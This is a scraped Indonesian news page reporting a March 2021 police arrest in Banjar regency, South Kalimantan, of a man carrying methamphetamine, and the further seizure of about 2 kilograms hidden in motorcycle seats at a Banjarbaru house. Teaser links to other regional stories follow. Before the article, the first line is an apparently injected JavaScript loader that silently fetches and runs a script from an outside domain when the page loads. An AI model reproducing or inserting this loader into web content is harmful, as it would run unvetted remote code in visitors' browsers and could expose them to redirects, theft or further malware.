(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Jajaran Polsek Astambul, Kabupaten Banjar, berhasil meringkus pelaku yang kedapatan membawa narkotika jenis sabu di sebuah SPBU di Kecamatan Astambul, Kabupaten Banjar, Sabtu (27/3/2021).
Kapolres Banjar AKBP Andri Koko Prabowo, melalui Kapolsek Astambul Iptu Andi Tri Hidayat mengatakan, pelaku berinisial SC (40) warga Komplek W Kusuma RT 01, Kelurahan Kebun Bunga, Kecamatan Banjarmasin Timur.
“Kami berhasil meringkus pelaku. Penangkapan pelaku tersebut berdasarkan informasi masyarakat bakal ada transaksi. Mendapat informasi tersebut tim kami bergegas melakukan pengintaian di lokasi,” ucapnya, Minggu (28/3/2021).
Pelaku berhasil diringkus sekitar pukul 13.30 Wita, di SPBU Haji Nawi Desa Astambul Kota Kecamatan Astambul, Kabupaten Banjar.
“Sesuai dengan ciri-ciri yang disampaikan, anggota kami pun langsung melakukan penggeledahan badan terhadap pelaku. Walhasil, anggota berhasil mendapati 1 buah plastik clip yang berisikan sabu dengan berat kotor 0,95 gram,” bebernya.
Tidak puas melakukan penggeledahan di badan pelaku, petugas kepolisian juga melakukan penggeledahan terhadap motor SC.
Penggeledahan di motor pelaku pun membuahkan hasil. Polisi berhasil menemukan sabu sepuluh kantong dengan berat kotor 500 gram dari dalam jok motor pelaku
“Kita belum puas dengan hasil tersebut, kami langsung melakukan pengembangan terkait dari mana asal mula barang haram tersebut didapat oleh pelaku,” imbuhnya.
Dari keterangan pelaku, ia menyebutkan asal mula barang haram tersebut didapat di sebuah rumah yang berada di Jalan Kurnia Komplek AKR 1 Blok B No 02 RT 02 RW 03 Kelurahan Landasan Ulin Utara, Kecamatan Liang Anggang, Banjarbaru.
“Pada saat di rumah tersebut, kami juga berhasil menemukan sabu sabu dengan berarlt 2.050 gram yang disimpan di dalam jok lima unit sepeda motor yang berada di lokasi,” jelasnya.
Sayangnya, pada saat petugas kepolisian datang pelaku yang mengetahui kedatangan polisi langsung melarikan diri.
“Disaksikan tetangga sekitar, petugas kami mengamankan lima unit sepeda motor yang mana pada setiap motor terdapat barang bukti narkoba di dalam jok dengan total berat kotor 2.050 gram. Saat ini pelaku dan barang bukti dari dua lokasi TKP kami amankan di Mapolsek Astambul untuk proses hukum lebih lanjut,” pungkasnya. (Kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.